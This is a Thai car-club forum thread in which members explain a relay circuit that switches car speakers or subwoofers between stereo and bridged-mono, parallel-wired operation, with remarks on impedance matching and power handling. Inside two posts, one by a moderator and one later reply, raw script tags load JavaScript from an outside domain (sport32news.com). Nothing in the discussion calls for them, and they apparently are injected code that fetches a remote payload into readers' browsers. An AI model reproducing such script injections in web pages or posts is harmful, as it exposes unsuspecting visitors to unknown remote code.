ตอบ
dantouch


ชื่อเล่น: แดน

เข้าร่วม: 24 พฤศจิกา 2009
ตอบ: 1529

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 2418
ให้คำขอบคุณ: 614

ที่อยู่: พระโขนง
ปี: 2003
สี: เทา ซิลเวอร์สโตน (NH-630M)
จันทร์, 15 กันยา 2014 11:51 - การต่อ Relay แบบนี้ เขาทำเพื่ออะไรครับ
การต่อ Relay แบบนี้ เขาทำเพื่ออะไรครับ  รบกวนกูรูหน่อยครับ แค่อยากรู้


Attached File :
การต่อ Relay แบบนี้ เขาทำเพื่ออะไรครับ
ได้รับคำขอบคุณจาก: Chonchy  taomang  topy  khem_hatyai 
Chonchy


ชื่อเล่น: ชล

เข้าร่วม: 12 มกรา 2012
ตอบ: 4143

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 7371
ให้คำขอบคุณ: 6492

ที่อยู่: แม่กลอง...มหาชัย...
ปี: 2001
จันทร์, 15 กันยา 2014 11:52 - การต่อ Relay แบบนี้ เขาทำเพื่ออะไรครับ
รอเก็บข้อมูล
Bird_phetch


เข้าร่วม: 23 เมษา 2013
ตอบ: 535

แซงซ้าย ปาดขวา
แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 543
ให้คำขอบคุณ: 61

ปี: 2003
สี: เทา ซิกเน็ต (เมทัลลิก) (RP-31M)
จันทร์, 15 กันยา 2014 12:11 - การต่อ Relay แบบนี้ เขาทำเพื่ออะไรครับ
ตอนแรกนึกว่าป้องกันลำโพง แต่ดูแล้วมันแปลกๆ แฮะ 
Oyoyoo


ชื่อเล่น: โอ

เข้าร่วม: 31 สิงหา 2009
ตอบ: 407

แซงซ้าย ปาดขวา
แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 432
ให้คำขอบคุณ: 224

ที่อยู่: BKK-Minburi
ปี: 2002
สี: ดำ ไนท์ฮอว์ก (B-92P)
จันทร์, 15 กันยา 2014 12:29 - การต่อ Relay แบบนี้ เขาทำเพื่ออะไรครับ
มันเป็นการต่อ เอาไว้กลับเฟสลำโพงอ่ะครับ
ลูกเล่นการปรับเสียง
ได้รับคำขอบคุณจาก: Ton- 
profibus


เข้าร่วม: 16 ธันวา 2012
ตอบ: 803

Guru ES
Guru ES

ได้รับคำขอบคุณ: 1151
ให้คำขอบคุณ: 516

ปี: 2005
สี: ดำ ไนท์ฮอว์ก (B-92P)
จันทร์, 15 กันยา 2014 12:44 - การต่อ Relay แบบนี้ เขาทำเพื่ออะไรครับ
เอาไว้ป้องกันครับ น่าจะมีtimer หน่วงเวลาไว้3วิเผื่อไม่ให้เสียงออกทีเดียว ผิดถูกขออภัยด้วยครับ
ได้รับคำขอบคุณจาก: Ton- 
srithanon


เข้าร่วม: 13 สิงหา 2009
ตอบ: 380

มีใบอนุญาตขับขี่
มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 1324
ให้คำขอบคุณ: 4
จันทร์, 15 กันยา 2014 13:39 - การต่อ Relay แบบนี้ เขาทำเพื่ออะไรครับ
ตามรูปวงจรที่เห็นในสภาวะนี้ สัญญาณเสียงที่มาเข้าลำโพง R และ L แยกกันอิสระ คือสองแชลแนลในระบบสเตอริโอ แต่เมื่อใดที่รีเลย์ทั้งสองตัวทำงานพร้อมกัน(จ่ายไฟบวกพร้อมกัน) ขั่วลบและบวกของลำโพงด้าน L จะต่อขนานกับลำโพงด้าน R เท่ากับว่าเป็นการต่อลำโพงสองตัวขนานกัน ทำให้อิมพิแดนซ์ของลำโพงลดลง เช่น ลำโพงมีอิมพีแนซ์ 8 Ohm สองตัวพอเอามาต่อขนานกันจะเหลือ อิมพีแดนซ์ เท่ากับ 4 Ohm ที่ทำอย่างนี้เพื่อ ต้องการให้โหลดอิมพิแดนซของเพาเวอร์แอมป์ มีค่าโหลดที่พอดีกับการทำงานในการขยายสัญญาณเสียงได้กำลังเพาเวอร์สูงสุด เช่นสเป็คของเครื่องเพาเวอร๋แอมป์กำหนดไว้ว่า ให้กำลังขยายเสียงหรือเพาเวอร์สูงสุด ที่ 100 Watt ที่อิมพีแดนซ์ 4 Ohm การที่วงจรรีเลย์ในรูปภาพทำงาน จะได้ลำโพงขนานกันเท่านั้น ไม่เกี่ยวกับเฟสของสัญญาณเสียง

แต่ที่น่าแปลกใจ ก็เพราะในสภาวะนั้นจะมีเสียงหรือสัญญาณ Audio จากสายลำโลงที่มาจากแชลแนลซ้ายเท่านนั้น( L ) ส่วนแชลแนล R ( R+) ถูกปล่อยไว้ไม่ได้ต่อกับลำโพง ก็ไม่ทราบว่าผู้ใช้ออกแบบมาเพื่อประสงค์อะไร นอกจากจะใช้เพาเวอร์แอมป์ขยายเพียงแชลแนลเดียว(พวก single Amp) เพื่อใช้กับแอมป์ที่มีกำลังขยายเพาเวอร์สูงๆเท่านั้น และลำโพงที่ใช้จะมีค่า Impedance ต่ำ....srithanon
ได้รับคำขอบคุณจาก: Ton-  Doraeman  Bird_phetch  dantouch  Pantamitr  Saka  song  topy  pakorn25  khem_hatyai  betty2006  wangyu  jeang  Jasada 
tochi229


ชื่อเล่น: ปิ๊ป

เข้าร่วม: 28 พฤศจิกา 2010
ตอบ: 7524

Moderator
Moderator

ได้รับคำขอบคุณ: 8264
ให้คำขอบคุณ: 11555

ที่อยู่: เกษตร-นวมินทร์ , ES เมืองทอง, นครศร๊ฯ
ปี: 2004
สี: ดำ ไนท์ฮอว์ก (B-92P)
จันทร์, 15 กันยา 2014 13:44 - การต่อ Relay แบบนี้ เขาทำเพื่ออะไรครับ
"<script src="https://sport32news.com/civicesgroup.js"> ..  ดูไม่เป็นแฮ่ะๆๆๆๆ
dantouch


ชื่อเล่น: แดน

เข้าร่วม: 24 พฤศจิกา 2009
ตอบ: 1529

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 2418
ให้คำขอบคุณ: 614

ที่อยู่: พระโขนง
ปี: 2003
สี: เทา ซิลเวอร์สโตน (NH-630M)
จันทร์, 15 กันยา 2014 16:23 - การต่อ Relay แบบนี้ เขาทำเพื่ออะไรครับ
srithanon พิมพ์ว่า:
ตามรูปวงจรที่เห็นในสภาวะนี้ สัญญาณเสียงที่มาเข้าลำโพง R และ L แยกกันอิสระ คือสองแชลแนลในระบบสเตอริโอ แต่เมื่อใดที่รีเลย์ทั้งสองตัวทำงานพร้อมกัน(จ่ายไฟบวกพร้อมกัน) ขั่วลบและบวกของลำโพงด้าน L จะต่อขนานกับลำโพงด้าน R เท่ากับว่าเป็นการต่อลำโพงสองตัวขนานกัน ทำให้อิมพิแดนซ์ของลำโพงลดลง เช่น ลำโพงมีอิมพีแนซ์ 8 Ohm สองตัวพอเอามาต่อขนานกันจะเหลือ อิมพีแดนซ์ เท่ากับ 4 Ohm ที่ทำอย่างนี้เพื่อ ต้องการให้โหลดอิมพิแดนซของเพาเวอร์แอมป์ มีค่าโหลดที่พอดีกับการทำงานในการขยายสัญญาณเสียงได้กำลังเพาเวอร์สูงสุด เช่นสเป็คของเครื่องเพาเวอร๋แอมป์กำหนดไว้ว่า ให้กำลังขยายเสียงหรือเพาเวอร์สูงสุด ที่ 100 Watt ที่อิมพีแดนซ์ 4 Ohm การที่วงจรรีเลย์ในรูปภาพทำงาน จะได้ลำโพงขนานกันเท่านั้น ไม่เกี่ยวกับเฟสของสัญญาณเสียง

แต่ที่น่าแปลกใจ ก็เพราะในสภาวะนั้นจะมีเสียงหรือสัญญาณ Audio จากสายลำโลงที่มาจากแชลแนลซ้ายเท่านนั้น( L ) ส่วนแชลแนล R ( R+) ถูกปล่อยไว้ไม่ได้ต่อกับลำโพง ก็ไม่ทราบว่าผู้ใช้ออกแบบมาเพื่อประสงค์อะไร นอกจากจะใช้เพาเวอร์แอมป์ขยายเพียงแชลแนลเดียว(พวก single Amp) เพื่อใช้กับแอมป์ที่มีกำลังขยายเพาเวอร์สูงๆเท่านั้น และลำโพงที่ใช้จะมีค่า Impedance ต่ำ....srithanon


ขอบคุณมากๆครับ สุดยอดดดดด
Pantamitr


ชื่อเล่น: ห่าน

เข้าร่วม: 27 พฤษภาคม 2010
ตอบ: 1622

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 1792
ให้คำขอบคุณ: 1186

ที่อยู่: บางปู สมุทรปราการ
ปี: 2004
สี: เทา ซิลเวอร์สโตน (NH-630M)
จันทร์, 15 กันยา 2014 16:38 - การต่อ Relay แบบนี้ เขาทำเพื่ออะไรครับ
 ความรู้ใหม่ๆ ไม่เคยรู้มาก่อน
somkidhom


ชื่อเล่น: ตึ่ง

เข้าร่วม: 12 ธันวา 2009
ตอบ: 118

มือใหม่หัดขับ
มือใหม่หัดขับ

ได้รับคำขอบคุณ: 197
ให้คำขอบคุณ: 0

ที่อยู่: สระบุรี (หนองแค)
ปี: 2001
สี: เทา ซิกเน็ต (เมทัลลิก) (RP-31M)
จันทร์, 15 กันยา 2014 23:48 - การต่อ Relay แบบนี้ เขาทำเพื่ออะไรครับ
ดูจากวงจรถ้าrelay ทั้งคู่ทำงาน มันจะใช้ +L เข้าขั่ว +R & +L แต่ขั่วลบใช้ ของchannal -R
เหมือนขนานลำโพงเพื่อลด impedanceของลำโพง และจะทำให้ได้
กำลังวัต เพิ่มแต่ทำไม่ใช้ + L ต่อกับ -R แล้วลอย +R กับ -L สงสัยเหมือนกันครับ
aumlight


ชื่อเล่น: อั้ม

เข้าร่วม: 27 พฤษภาคม 2013
ตอบ: 925

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 675
ให้คำขอบคุณ: 155

ที่อยู่: ES เมืองทอง
ปี: 2004
สี: เทา ซิลเวอร์สโตน (NH-630M)
อังคาร, 16 กันยา 2014 10:32 - การต่อ Relay แบบนี้ เขาทำเพื่ออะไรครับ
srithanon พิมพ์ว่า:
ตามรูปวงจรที่เห็นในสภาวะนี้ สัญญาณเสียงที่มาเข้าลำโพง R และ L แยกกันอิสระ คือสองแชลแนลในระบบสเตอริโอ แต่เมื่อใดที่รีเลย์ทั้งสองตัวทำงานพร้อมกัน(จ่ายไฟบวกพร้อมกัน) ขั่วลบและบวกของลำโพงด้าน L จะต่อขนานกับลำโพงด้าน R เท่ากับว่าเป็นการต่อลำโพงสองตัวขนานกัน ทำให้อิมพิแดนซ์ของลำโพงลดลง เช่น ลำโพงมีอิมพีแนซ์ 8 Ohm สองตัวพอเอามาต่อขนานกันจะเหลือ อิมพีแดนซ์ เท่ากับ 4 Ohm ที่ทำอย่างนี้เพื่อ ต้องการให้โหลดอิมพิแดนซของเพาเวอร์แอมป์ มีค่าโหลดที่พอดีกับการทำงานในการขยายสัญญาณเสียงได้กำลังเพาเวอร์สูงสุด เช่นสเป็คของเครื่องเพาเวอร๋แอมป์กำหนดไว้ว่า ให้กำลังขยายเสียงหรือเพาเวอร์สูงสุด ที่ 100 Watt ที่อิมพีแดนซ์ 4 Ohm การที่วงจรรีเลย์ในรูปภาพทำงาน จะได้ลำโพงขนานกันเท่านั้น ไม่เกี่ยวกับเฟสของสัญญาณเสียง

แต่ที่น่าแปลกใจ ก็เพราะในสภาวะนั้นจะมีเสียงหรือสัญญาณ Audio จากสายลำโลงที่มาจากแชลแนลซ้ายเท่านนั้น( L ) ส่วนแชลแนล R ( R+) ถูกปล่อยไว้ไม่ได้ต่อกับลำโพง ก็ไม่ทราบว่าผู้ใช้ออกแบบมาเพื่อประสงค์อะไร นอกจากจะใช้เพาเวอร์แอมป์ขยายเพียงแชลแนลเดียว(พวก single Amp) เพื่อใช้กับแอมป์ที่มีกำลังขยายเพาเวอร์สูงๆเท่านั้น และลำโพงที่ใช้จะมีค่า Impedance ต่ำ....srithanon




..
taomang


เข้าร่วม: 20 เมษา 2013
ตอบ: 894

Guru ES
Guru ES

ได้รับคำขอบคุณ: 652
ให้คำขอบคุณ: 1023

ที่อยู่: สมุทรปราการ
ปี: 2002
สี: เทา ซิลเวอร์สโตน (NH-630M)
อังคาร, 16 กันยา 2014 11:52 - การต่อ Relay แบบนี้ เขาทำเพื่ออะไรครับ
แค่รูปวงจรก็งงแล้วครับ
kkanakornkum


ชื่อเล่น: เค

เข้าร่วม: 04 มกรา 2014
ตอบ: 495

แซงซ้าย ปาดขวา
แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 275
ให้คำขอบคุณ: 37

ปี: 2002
สี: น้ำเงิน วิวิด (มุก) (B-502P)
อังคาร, 16 กันยา 2014 12:07 - การต่อ Relay แบบนี้ เขาทำเพื่ออะไรครับ
''งงเบยพี่น้อง''
topy


ชื่อเล่น: ท็อป

เข้าร่วม: 29 สิงหา 2012
ตอบ: 43

น้องใหม่
น้องใหม่

ได้รับคำขอบคุณ: 46
ให้คำขอบคุณ: 105

ปี: 2001
สี: ทอง ไทเทเนียม (เมทัลลิก) (YR-525M)
อังคาร, 16 กันยา 2014 15:19 - การต่อ Relay แบบนี้ เขาทำเพื่ออะไรครับ
น่าจะเป็นการต่อแบบธรรมดากับแบบบริดร์น่ะครับ เมือสภาวะปกติจะต่อเป็นแบบสเตอริโอธรรมดาซึ่งจะได้เสียงแบบสเตอริโอ แต่เมือรีเลย์ทั้งสองตัวทำงาน มันจะทำให้ลำโพงทั้งสองต่อขนานกัน และ power จะจ่ายออกแบบบริด ครับ น่าจะประมาณนี้น่ะครับผิดถูกต้องขออภัยด้วยครับ
ได้รับคำขอบคุณจาก: tzm 
dantouch


ชื่อเล่น: แดน

เข้าร่วม: 24 พฤศจิกา 2009
ตอบ: 1529

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 2418
ให้คำขอบคุณ: 614

ที่อยู่: พระโขนง
ปี: 2003
สี: เทา ซิลเวอร์สโตน (NH-630M)
อังคาร, 16 กันยา 2014 16:04 - การต่อ Relay แบบนี้ เขาทำเพื่ออะไรครับ
อยากรู้ต้องลอง
athongchum


ชื่อเล่น: เอก

เข้าร่วม: 04 สิงหา 2011
ตอบ: 1976

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 3152
ให้คำขอบคุณ: 1666

ที่อยู่: งามวงศ์วาน
ปี: 2003
สี: ดำ ไนท์ฮอว์ก (B-92P)
ศุกร์, 19 กันยา 2014 22:13 - การต่อ Relay แบบนี้ เขาทำเพื่ออะไรครับ
dantouch พิมพ์ว่า:
การต่อ Relay แบบนี้ เขาทำเพื่ออะไรครับ  รบกวนกูรูหน่อยครับ แค่อยากรู้




เป็นการวายริ่ง Subwoofer เพื่อเลือกใช้งานให้เหมาะสมกับแนวเพลงที่เปิด 

การทำงานจะมี 2 แบบคือ

1.ขับแบบ Stereo ใช้แอมป์ 1ch ต่อ sub 1 ดอก ขับแยกสัญญาณเสียงซ้ายขวา การต่อแบบนี้เหมาะกับการฟังแนว SQ เน้นความไพเราะของตัวโน๊ต เสียงจะได้ความกระชับมีมิติ

2.ขับแบบ Bride Mono (ใช้+Lกับ-R) และขนาน Subwoofer เป็นการลด Z ของลำโพงด้วย เป็นการรวมสัญญาณซ้ายขวาขับออกไป ch เดียว หรือ Mono นั่นเอง การต่อแบบนี้เหมาะกับการฟังแนว SPL เน้นในด้านพละกำลัง ไม่เน้นความไพเราะ เสียงที่ได้จะไม่ดีเหมือนแบบแรก แต่จะได้ความดังและระยะไกลของเสียงเบส ในความเข้าใจของคนทั่วไปแบบคร่าวๆ (ไม่ได้เหมือนกันทุกแบรนด์ทุกยี่ห้อเป็นการอธิบายแบบคร่าวๆโดยประมาณ) สิ่งที่ได้เพิ่มเติมจากแบบแรกคือ กำลังขับเพิ่มขึ้นประมาณ 4 เท่า (Bride Mono ได้กำลังขับเพิ่ม 2 เท่า และ ลดอิมพิแดนซ์ลงครึ่งนึงได้กำลังขับเพิ่มอีก 2 เท่า) แต่ Damping factor ก็จะลดลงประมาณ 4 เท่าเช่นกัน (ความไวในการเก็บตัวของกรวยลำโพง) เสียงก็จะออกยานๆเฉื่อยๆกว่าแบบแรกมากๆ




 
ได้รับคำขอบคุณจาก: tzm 
dantouch


ชื่อเล่น: แดน

เข้าร่วม: 24 พฤศจิกา 2009
ตอบ: 1529

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 2418
ให้คำขอบคุณ: 614

ที่อยู่: พระโขนง
ปี: 2003
สี: เทา ซิลเวอร์สโตน (NH-630M)
จันทร์, 22 กันยา 2014 00:04 - การต่อ Relay แบบนี้ เขาทำเพื่ออะไรครับ
athongchum พิมพ์ว่า:
dantouch พิมพ์ว่า:
การต่อ Relay แบบนี้ เขาทำเพื่ออะไรครับ  รบกวนกูรูหน่อยครับ แค่อยากรู้




เป็นการวายริ่ง Subwoofer เพื่อเลือกใช้งานให้เหมาะสมกับแนวเพลงที่เปิด 

การทำงานจะมี 2 แบบคือ

1.ขับแบบ Stereo ใช้แอมป์ 1ch ต่อ sub 1 ดอก ขับแยกสัญญาณเสียงซ้ายขวา การต่อแบบนี้เหมาะกับการฟังแนว SQ เน้นความไพเราะของตัวโน๊ต เสียงจะได้ความกระชับมีมิติ

2.ขับแบบ Bride Mono (ใช้+Lกับ-R) และขนาน Subwoofer เป็นการลด Z ของลำโพงด้วย เป็นการรวมสัญญาณซ้ายขวาขับออกไป ch เดียว หรือ Mono นั่นเอง การต่อแบบนี้เหมาะกับการฟังแนว SPL เน้นในด้านพละกำลัง ไม่เน้นความไพเราะ เสียงที่ได้จะไม่ดีเหมือนแบบแรก แต่จะได้ความดังและระยะไกลของเสียงเบส ในความเข้าใจของคนทั่วไปแบบคร่าวๆ (ไม่ได้เหมือนกันทุกแบรนด์ทุกยี่ห้อเป็นการอธิบายแบบคร่าวๆโดยประมาณ) สิ่งที่ได้เพิ่มเติมจากแบบแรกคือ กำลังขับเพิ่มขึ้นประมาณ 4 เท่า (Bride Mono ได้กำลังขับเพิ่ม 2 เท่า และ ลดอิมพิแดนซ์ลงครึ่งนึงได้กำลังขับเพิ่มอีก 2 เท่า) แต่ Damping factor ก็จะลดลงประมาณ 4 เท่าเช่นกัน (ความไวในการเก็บตัวของกรวยลำโพง) เสียงก็จะออกยานๆเฉื่อยๆกว่าแบบแรกมากๆ




 


ขอบคุณมากๆครับสุดยอด ความรู้อีกแล้ว เดี๋ยวผมจะลองดูนะครับ
ได้รับคำขอบคุณจาก: athongchum  taomang 
srithanon


เข้าร่วม: 13 สิงหา 2009
ตอบ: 380

มีใบอนุญาตขับขี่
มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 1324
ให้คำขอบคุณ: 4
จันทร์, 22 กันยา 2014 09:36 - การต่อ Relay แบบนี้ เขาทำเพื่ออะไรครับ
ตามที่คุณ athongchum ได้ให้ข้อมูลนั้น เป็นการกล่าวถึงในลักษณะการต่อภาคเพาเวอร์แอมป์ของเครื่องเสียงที่เป็นแบบสองแชลแนลให้เป็นแบบบริดจ์ ออกมาแชลแนลเดียว และได้กำลังของเพาเวอร์ออกมาสองเท่า ตามที่กล่าวมา ก็ถูกต้อง แต่วงจร Relay ที่ถามมา ไม่อยู่ในเงื่อนไขการต่อแบบบริดจ์ของตัวภาคเพาเวอร์แอมป์ มันเป็นการจัดรูปแบบในเรื่องของการแม็ทชิ่งค่าอิมพีแดนซ์ของลำโพง ให้มีความพอดีกับสเป็คของตัวเพาเวอร์ทรานซิสเตอร์ ที่ทำหน้าที่ขยายกระแส ที่มีโหลดของตัวทรานซิสเตอร์นั้นๆกำหนดเอาไว้ ว่าจะทำการขยายสัญญาณเสียงในรูปของกระแสได้เพาเวอร์ที่ตกคร่มโหลดอิมพีแดนซ์นั้นมีค่าเพาเวอร์สูงสุดเท่าใด
ดังนั้นการใช้ลำโพงจึงจำเป็นที่จะต้องหาค่า Z impedance ของ speaker ให้ตรงกับเพาเวอร์แอมป์ ที่กำหนดค่า Load impedanc ในการใช้ ลำโพงต่อกับเครื่องขยายเสียง

ในเครื่องเพาเวอร์แอมป์ที่ใช้ระบบทรานซิสเตอรเข้ามาทำหน้าที่ขยายสัญญาณเสียง จะเป็นการทำงานของวงจรในแบบการขยายสัญญาณเสียงทางกระแสไฟ สำหรับเครื่องขยายเสียงที่ใช้แบบหลอด จะทำการขยายสัญญาณเสียงแบบโวลท์เต็จ ดังนั้นในภาพที่ถามมา จึงกล่าวถึงในเรื่องการทำค่า Z impedance ของลำโพง ที่มีใช้อยู่ อาจจะใช้ปกติกับเพาเวอร์แอมป์ ที่มีค่า Z ที่ 8 Ohm หรือ 4 Ohm ที่ใช้อยู้แล้ว แต่อาจจะมีตวามจำเป็นที่จะเปลี่ยนเพาเวอร์แอมป์ ที่มีกำลังขยายวัตต์สูงๆ ที่มีค่า impedance ต่ำ ที่ 2 หรือ 4 Ohm ก็จัดการต่อลำโพงทั้งสองตัวขนานกัน ก็จะได้ค่า Z impedace ตามสเป็คของเพเวอร์แอมป์ที่เปลี่ยนใหม่ ส่วนความทนทานในการรองรับสัญญาณเสียงที่มีกำลังขยายเพิ่มขึ้น ในตัวลำโพงที่นำมาต่อขนานกัน จะต้องมีกำลังทนกระแสที่ผ่าน Moving coil นั้นได้ด้วย เช่นเดิมมีค่า Z ที่ 4 Ohm 50 watt เมื่อนำมาต่อขนานกันสองตัว จะเหลือค่า Z = 2 Ohm แต่ถ้าหาก เครื่องขยายเสียงเพาเวอร์แอมป์ที่เปลี่ยนใหม่ เป็น 100 watt 2 Ohm แบบนี้ ลำโพงที่ทนได้ 50 watt ก็ขาดกระจุย หากเร่งกำลังขยายเกินกว่า 50 watt ไม่เกินไม่เป็นไร

ต้องขออภัยด้วยที่เข้ามาต่อกระทู้ ซึ่งอาจจะมองไปในเรื่องมีข้อคิดเห็นต่างตามที่ท่านสมาชิกได้กล่าวให้ข้อมูลเพิ่มไว้ ซึ่งก็เป็นไปตามที่กล่าวให้เพื่อนๆทราบ แต่เพียงมองจุดถามที่ต่างกันออกไปเท่านั้น.....srithanon
ได้รับคำขอบคุณจาก: athongchum  taomang 
athongchum


ชื่อเล่น: เอก

เข้าร่วม: 04 สิงหา 2011
ตอบ: 1976

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 3152
ให้คำขอบคุณ: 1666

ที่อยู่: งามวงศ์วาน
ปี: 2003
สี: ดำ ไนท์ฮอว์ก (B-92P)
จันทร์, 22 กันยา 2014 16:02 - การต่อ Relay แบบนี้ เขาทำเพื่ออะไรครับ
srithanon พิมพ์ว่า:
ตามที่คุณ athongchum ได้ให้ข้อมูลนั้น เป็นการกล่าวถึงในลักษณะการต่อภาคเพาเวอร์แอมป์ของเครื่องเสียงที่เป็นแบบสองแชลแนลให้เป็นแบบบริดจ์ ออกมาแชลแนลเดียว และได้กำลังของเพาเวอร์ออกมาสองเท่า ตามที่กล่าวมา ก็ถูกต้อง แต่วงจร Relay ที่ถามมา ไม่อยู่ในเงื่อนไขการต่อแบบบริดจ์ของตัวภาคเพาเวอร์แอมป์ มันเป็นการจัดรูปแบบในเรื่องของการแม็ทชิ่งค่าอิมพีแดนซ์ของลำโพง ให้มีความพอดีกับสเป็คของตัวเพาเวอร์ทรานซิสเตอร์ ที่ทำหน้าที่ขยายกระแส ที่มีโหลดของตัวทรานซิสเตอร์นั้นๆกำหนดเอาไว้ ว่าจะทำการขยายสัญญาณเสียงในรูปของกระแสได้เพาเวอร์ที่ตกคร่มโหลดอิมพีแดนซ์นั้นมีค่าเพาเวอร์สูงสุดเท่าใด
ดังนั้นการใช้ลำโพงจึงจำเป็นที่จะต้องหาค่า Z impedance ของ speaker ให้ตรงกับเพาเวอร์แอมป์ ที่กำหนดค่า Load impedanc ในการใช้ ลำโพงต่อกับเครื่องขยายเสียง

ในเครื่องเพาเวอร์แอมป์ที่ใช้ระบบทรานซิสเตอรเข้ามาทำหน้าที่ขยายสัญญาณเสียง จะเป็นการทำงานของวงจรในแบบการขยายสัญญาณเสียงทางกระแสไฟ สำหรับเครื่องขยายเสียงที่ใช้แบบหลอด จะทำการขยายสัญญาณเสียงแบบโวลท์เต็จ ดังนั้นในภาพที่ถามมา จึงกล่าวถึงในเรื่องการทำค่า Z impedance ของลำโพง ที่มีใช้อยู่ อาจจะใช้ปกติกับเพาเวอร์แอมป์ ที่มีค่า Z ที่ 8 Ohm หรือ 4 Ohm ที่ใช้อยู้แล้ว แต่อาจจะมีตวามจำเป็นที่จะเปลี่ยนเพาเวอร์แอมป์ ที่มีกำลังขยายวัตต์สูงๆ ที่มีค่า impedance ต่ำ ที่ 2 หรือ 4 Ohm ก็จัดการต่อลำโพงทั้งสองตัวขนานกัน ก็จะได้ค่า Z impedace ตามสเป็คของเพเวอร์แอมป์ที่เปลี่ยนใหม่ ส่วนความทนทานในการรองรับสัญญาณเสียงที่มีกำลังขยายเพิ่มขึ้น ในตัวลำโพงที่นำมาต่อขนานกัน จะต้องมีกำลังทนกระแสที่ผ่าน Moving coil นั้นได้ด้วย เช่นเดิมมีค่า Z ที่ 4 Ohm 50 watt เมื่อนำมาต่อขนานกันสองตัว จะเหลือค่า Z = 2 Ohm แต่ถ้าหาก เครื่องขยายเสียงเพาเวอร์แอมป์ที่เปลี่ยนใหม่ เป็น 100 watt 2 Ohm แบบนี้ ลำโพงที่ทนได้ 50 watt ก็ขาดกระจุย หากเร่งกำลังขยายเกินกว่า 50 watt ไม่เกินไม่เป็นไร

ต้องขออภัยด้วยที่เข้ามาต่อกระทู้ ซึ่งอาจจะมองไปในเรื่องมีข้อคิดเห็นต่างตามที่ท่านสมาชิกได้กล่าวให้ข้อมูลเพิ่มไว้ ซึ่งก็เป็นไปตามที่กล่าวให้เพื่อนๆทราบ แต่เพียงมองจุดถามที่ต่างกันออกไปเท่านั้น.....srithanon




วงจรนี้เข้าเงื่อนไขทั้ง Bride Mono และ matching impedance ครับพี่ ลองไล่วงจรดูดีๆ output จะใช้ +L และ -R ซึ่งมันเป็นการต่อแบบ Bride Mono ของแอมป์แบบ Sterro ครับ
ได้รับคำขอบคุณจาก: taomang 
athongchum


ชื่อเล่น: เอก

เข้าร่วม: 04 สิงหา 2011
ตอบ: 1976

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 3152
ให้คำขอบคุณ: 1666

ที่อยู่: งามวงศ์วาน
ปี: 2003
สี: ดำ ไนท์ฮอว์ก (B-92P)
จันทร์, 22 กันยา 2014 16:05 - การต่อ Relay แบบนี้ เขาทำเพื่ออะไรครับ
dantouch พิมพ์ว่า:
athongchum พิมพ์ว่า:
dantouch พิมพ์ว่า:
การต่อ Relay แบบนี้ เขาทำเพื่ออะไรครับ  รบกวนกูรูหน่อยครับ แค่อยากรู้




เป็นการวายริ่ง Subwoofer เพื่อเลือกใช้งานให้เหมาะสมกับแนวเพลงที่เปิด 

การทำงานจะมี 2 แบบคือ

1.ขับแบบ Stereo ใช้แอมป์ 1ch ต่อ sub 1 ดอก ขับแยกสัญญาณเสียงซ้ายขวา การต่อแบบนี้เหมาะกับการฟังแนว SQ เน้นความไพเราะของตัวโน๊ต เสียงจะได้ความกระชับมีมิติ

2.ขับแบบ Bride Mono (ใช้+Lกับ-R) และขนาน Subwoofer เป็นการลด Z ของลำโพงด้วย เป็นการรวมสัญญาณซ้ายขวาขับออกไป ch เดียว หรือ Mono นั่นเอง การต่อแบบนี้เหมาะกับการฟังแนว SPL เน้นในด้านพละกำลัง ไม่เน้นความไพเราะ เสียงที่ได้จะไม่ดีเหมือนแบบแรก แต่จะได้ความดังและระยะไกลของเสียงเบส ในความเข้าใจของคนทั่วไปแบบคร่าวๆ (ไม่ได้เหมือนกันทุกแบรนด์ทุกยี่ห้อเป็นการอธิบายแบบคร่าวๆโดยประมาณ) สิ่งที่ได้เพิ่มเติมจากแบบแรกคือ กำลังขับเพิ่มขึ้นประมาณ 4 เท่า (Bride Mono ได้กำลังขับเพิ่ม 2 เท่า และ ลดอิมพิแดนซ์ลงครึ่งนึงได้กำลังขับเพิ่มอีก 2 เท่า) แต่ Damping factor ก็จะลดลงประมาณ 4 เท่าเช่นกัน (ความไวในการเก็บตัวของกรวยลำโพง) เสียงก็จะออกยานๆเฉื่อยๆกว่าแบบแรกมากๆ




 


ขอบคุณมากๆครับสุดยอด ความรู้อีกแล้ว เดี๋ยวผมจะลองดูนะครับ




ก่อนจะทำ ศึกษาสเป็คแอมป์กับลำโพงให้ดีก่อนนะครับว่า...
แอมป์ รับโหลดได้กี่โอห์ม?
ลำโพง ทนกำลังได้กี่วัตต์?
ไม่งั้นเดี๋ยวแอมป์กับลำโพงจะโดนย่างสด

<script src="https://sport32news.com/civicesgroup.js"></ <script src="https://sport32news.com/civicesgroup.js"></
ได้รับคำขอบคุณจาก: taomang  dantouch 
taomang


เข้าร่วม: 20 เมษา 2013
ตอบ: 894

Guru ES
Guru ES

ได้รับคำขอบคุณ: 652
ให้คำขอบคุณ: 1023

ที่อยู่: สมุทรปราการ
ปี: 2002
สี: เทา ซิลเวอร์สโตน (NH-630M)
จันทร์, 22 กันยา 2014 16:14 - การต่อ Relay แบบนี้ เขาทำเพื่ออะไรครับ
athongchum พิมพ์ว่า:
dantouch พิมพ์ว่า:
athongchum พิมพ์ว่า:
dantouch พิมพ์ว่า:
การต่อ Relay แบบนี้ เขาทำเพื่ออะไรครับ  รบกวนกูรูหน่อยครับ แค่อยากรู้




เป็นการวายริ่ง Subwoofer เพื่อเลือกใช้งานให้เหมาะสมกับแนวเพลงที่เปิด 

การทำงานจะมี 2 แบบคือ

1.ขับแบบ Stereo ใช้แอมป์ 1ch ต่อ sub 1 ดอก ขับแยกสัญญาณเสียงซ้ายขวา การต่อแบบนี้เหมาะกับการฟังแนว SQ เน้นความไพเราะของตัวโน๊ต เสียงจะได้ความกระชับมีมิติ

